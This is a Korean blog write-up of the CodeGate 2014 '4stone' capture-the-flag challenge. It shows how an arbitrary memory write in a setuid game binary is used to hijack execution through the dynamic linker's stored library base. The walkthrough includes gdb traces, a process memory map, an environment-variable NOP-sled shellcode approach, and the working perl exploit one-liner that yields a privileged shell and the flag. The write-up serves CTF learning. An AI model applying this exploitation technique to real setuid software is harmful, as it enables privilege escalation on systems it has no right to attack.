int $0x80

CodeGate 2014 4stone writeup 본문

해킹공부/캡쳐더플래그

CodeGate 2014 4stone writeup

cd80 cd80 2014.02.23 23:06

2월 22일 오후 9시부터 2월 24일 오전 3시까지 진행된 대회입니다

아직 대회경험이 부족해 문제를 많이 풀진 못했고

푼 문제들이나마 풀이를 올리겠습니다






4stone



guest@notroot-virtual-machine:~$ ls -l /home/4stone/

total 16

-rwsr-xr-x 1 4stone 4stone 9764  2월 20 19:27 4stone

-r-------- 1 4stone 4stone   27  2월 21 21:54 key

guest@notroot-virtual-machine:~$ 

접속하면 4stone 바이너리가 있고 key파일이 있다



프로그램을 실행하면 이런 화면이 뜬다

프로그램은 ncurses라이브러리로 제작되었다



이렇게 게임에 이기면



이렇게 이겼다는 메세지가 뜬다



위는 바이너리에서 게임종료 이후 코드를 헥스레이 한것이다

게임 플레이 시간이 0초일경우 아래 if(!time_diff)부분이 실행되는데

if문 코드블럭 전체가 임의의 메모리 주소에 4바이트 데이터를 쓸수 있는 코드이다

이 때 메모리 주소는 argv[1]로 입력받고 4바이트 데이터는 scanf로 입력받는다




그런데 4바이트 데이터를 쓸때 바이너리 영역에 쓸 수 없고 스택영역에 쓸 수 없다

그리고 데이터를 쓴 후 exit(0); 함수를 호출하기 때문에

물론 바이너리영역에 쓰는걸 막기때문에 못하지만 dtors같은걸 조작할 수도 없다


여기서 가장 의심가는 부분은 exit(0);이 처음 호출 되기 때문에 dynamic linker가 실행된다는 것이였다

처음 생각해본것은 exit함수 자체가 어떤 값을 참조하고 그걸 이용해 eip를 컨트롤할수 있지 않을까 생각했는데

__dl_runtime_resolve함수를 분석해보니

0x4007f000에서 4바이트값을 읽어와 거기서 0xbab04를 더한값을 __dl_runtime_resolve함수의 리턴값으로 사용한다는 것을 알았다

( 로컬 문제라 ulimit -s unlimited를 치고 진행했다 )


위 내용은 디버깅해보면 쉽게 알 수 있으니 과정은 생략하겠다



(gdb)

0x080498ac in ?? ()

1: x/10i $pc

=> 0x80498ac: mov    %edx,(%eax)

   0x80498ae: movl   $0x0,(%esp)

   0x80498b5: call   0x8048710 <_exit@plt>

   0x80498ba: xchg   %ax,%ax

   0x80498bc: xchg   %ax,%ax

   0x80498be: xchg   %ax,%ax

   0x80498c0: push   %ebp

   0x80498c1: push   %edi

   0x80498c2: xor    %edi,%edi

   0x80498c4: push   %esi

(gdb) i r eax edx

eax            0x4007f000 1074262016

edx            0x12345678 305419896

(gdb) c

Continuing.


Program received signal SIGSEGV, Segmentation fault.

0x1240017c in ?? ()

1: x/10i $pc

=> 0x1240017c: <error: Cannot access memory at address 0x1240017c>

(gdb) p /x  0x12345678 + 0xbab04

$2 = 0x1240017c

(gdb)  


argv[1]에 4007f000을 입력하고

scanf에서 12345678을 한 결과이다

0x12345678 에 0xbab04를 더한값으로 eip가 변조된것을 알 수 있다


(gdb) 

0x08049879 in ?? ()

1: x/10i $pc

=> 0x8049879: call   0x8048820 <__isoc99_scanf@plt>

   0x804987e: cmpl   $0x0,0x1c(%esp)

   0x8049883: je     0x80498ae

   0x8049885: mov    0x1c(%esp),%eax

   0x8049889: mov    $0x0,%ax

   0x804988d: cmp    $0x8040000,%eax

   0x8049892: je     0x80498ae

   0x8049894: mov    0x1c(%esp),%eax

   0x8049898: and    $0xf0000000,%eax

   0x804989d: cmp    $0xb0000000,%eax

(gdb) p /x 0xcd80cd80 - 0xbab04

$3 = 0xcd75227c

(gdb) c

Continuing.

cd75227c


Program received signal SIGSEGV, Segmentation fault.

0xcd80cd80 in ?? ()

1: x/10i $pc

=> 0xcd80cd80: <error: Cannot access memory at address 0xcd80cd80>

(gdb) 

eip를 원하는 값으로 변조 시켰다



guest@notroot-virtual-machine:/tmp/cd80$ ./4stone &

[1] 22463

guest@notroot-virtual-machine:/tmp/cd80$ 


[1]+  Stopped                 ./4stone

guest@notroot-virtual-machine:/tmp/cd80$ cat /proc/22463/maps

08048000-0804a000 r-xp 00000000 08:01 1316221    /tmp/cd80/4stone

0804a000-0804b000 r-xp 00001000 08:01 1316221    /tmp/cd80/4stone

0804b000-0804c000 rwxp 00002000 08:01 1316221    /tmp/cd80/4stone

0904a000-0906b000 rwxp 00000000 00:00 0          [heap]

40000000-40020000 r-xp 00000000 08:01 1704861    /lib/i386-linux-gnu/ld-2.17.so

40020000-40021000 r-xp 0001f000 08:01 1704861    /lib/i386-linux-gnu/ld-2.17.so

40021000-40022000 rwxp 00020000 08:01 1704861    /lib/i386-linux-gnu/ld-2.17.so

40022000-40023000 r-xp 00000000 00:00 0          [vdso]

40023000-40025000 rwxp 00000000 00:00 0 

40038000-4005b000 r-xp 00000000 08:01 1704942    /lib/i386-linux-gnu/libncurses.so.5.9

4005b000-4005c000 r-xp 00022000 08:01 1704942    /lib/i386-linux-gnu/libncurses.so.5.9

4005c000-4005d000 rwxp 00023000 08:01 1704942    /lib/i386-linux-gnu/libncurses.so.5.9

4005d000-4007b000 r-xp 00000000 08:01 1705026    /lib/i386-linux-gnu/libtinfo.so.5.9

4007b000-4007c000 ---p 0001e000 08:01 1705026    /lib/i386-linux-gnu/libtinfo.so.5.9

4007c000-4007e000 r-xp 0001e000 08:01 1705026    /lib/i386-linux-gnu/libtinfo.so.5.9

4007e000-4007f000 rwxp 00020000 08:01 1705026    /lib/i386-linux-gnu/libtinfo.so.5.9

4007f000-40080000 rwxp 00000000 00:00 0 

40080000-4022e000 r-xp 00000000 08:01 1704885    /lib/i386-linux-gnu/libc-2.17.so

4022e000-40230000 r-xp 001ae000 08:01 1704885    /lib/i386-linux-gnu/libc-2.17.so

40230000-40231000 rwxp 001b0000 08:01 1704885    /lib/i386-linux-gnu/libc-2.17.so

40231000-40234000 rwxp 00000000 00:00 0 

40234000-40237000 r-xp 00000000 08:01 1704900    /lib/i386-linux-gnu/libdl-2.17.so

40237000-40238000 r-xp 00002000 08:01 1704900    /lib/i386-linux-gnu/libdl-2.17.so

40238000-40239000 rwxp 00003000 08:01 1704900    /lib/i386-linux-gnu/libdl-2.17.so

40239000-4023a000 rwxp 00000000 00:00 0 

bfdb2000-bfdd3000 rwxp 00000000 00:00 0          [stack]

guest@notroot-virtual-machine:/tmp/cd80$



rwx권한이 있는곳이 많다

그런데 조작가능한것이 eip하나고 그 이후에 RTL chaining같은것이 힘들기 때문에

환경변수에 nop 10만개와 쉘코드를 넣고 손으로 계속 실행시켰다

guest@notroot-virtual-machine:/tmp/cd80$ (perl -e 'print "\nh\nhhh\nhh\nh\n\n\nbfd0bc78"';cat)|/home/4stone/4stone 4007f000

you win! 0 seconds




Segmentation fault

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ (perl -e 'print "\nh\nhhh\nhh\nh\n\n\nbfd0bc78"';cat)|/home/4stone/4stone 4007f000

you win! 0 seconds




Segmentation fault

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ (perl -e 'print "\nh\nhhh\nhh\nh\n\n\nbfd0bc78"';cat)|/home/4stone/4stone 4007f000

you win! 0 seconds




Segmentation fault

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ (perl -e 'print "\nh\nhhh\nhh\nh\n\n\nbfd0bc78"';cat)|/home/4stone/4stone 4007f000

you win! 0 seconds




Segmentation fault

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ 

guest@notroot-virtual-machine:/tmp/cd80$ (perl -e 'print "\nh\nhhh\nhh\nh\n\n\nbfd0bc78"';cat)|/home/4stone/4stone 4007f000

you win! 0 seconds






id

uid=1004(guest) gid=1004(guest) euid=1003(4stone) groups=1003(4stone),1004(guest)

cat /home/4stone/key

gARBAG3_hOL3_R4bB1T_R5BBIT 




신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

Volga CTF 2014 Exploit 100  (0) 2014.03.29
CodeGate 2014 angry_doraemon writeup  (16) 2014.02.24
CodeGate 2014 4stone writeup  (3) 2014.02.23
CodeGate Junior 2014 nuclear 문제  (0) 2014.02.14
Codegate 2013 vuln 200  (5) 2013.11.28
CSAW 2013 Pre-Quals Pwnables 300  (0) 2013.09.29
3 Comments
  • 프로필사진 2014.03.02 03:02 비밀댓글입니다
  • 프로필사진 cd80 cd80 2014.12.03 20:47 신고 __dl_runtime_resolve함수가 어떤일을 하는지는 아실꺼라 믿습니다
    __dl_runtime_resolve함수는 _dl_fixup 함수를 호출하고
    __dl_fixup함수는 심볼테이블을 참조해 함수의 주소를 라이브러리에서 가져옵니다
    이때 라이브러리 이미지베이스를 저장해둔 주소가
    저 프로세스에선 0x4007f000이였고
    0x4007f000에서 이미지베이스를 구해 온 후 함수의 오프셋을 더해 실제함수주소의 값을 알아옵니다
    그래서 그 이미지베이스 주소를 조작해 eip를 변조할 수 있었고

    질문해주신 __dl_runtime_resolve 함수가 하는 역할을 다시 요약해드리자면
    __dl_fixup함수를 호출해 함수의 주소를 알아오고 이를 GOT에 써넣고
    그 함수의주소를 리턴어드레스 삼아 리턴하는 역할을 합니다
  • 프로필사진 2014.08.21 09:45 비밀댓글입니다
댓글쓰기 폼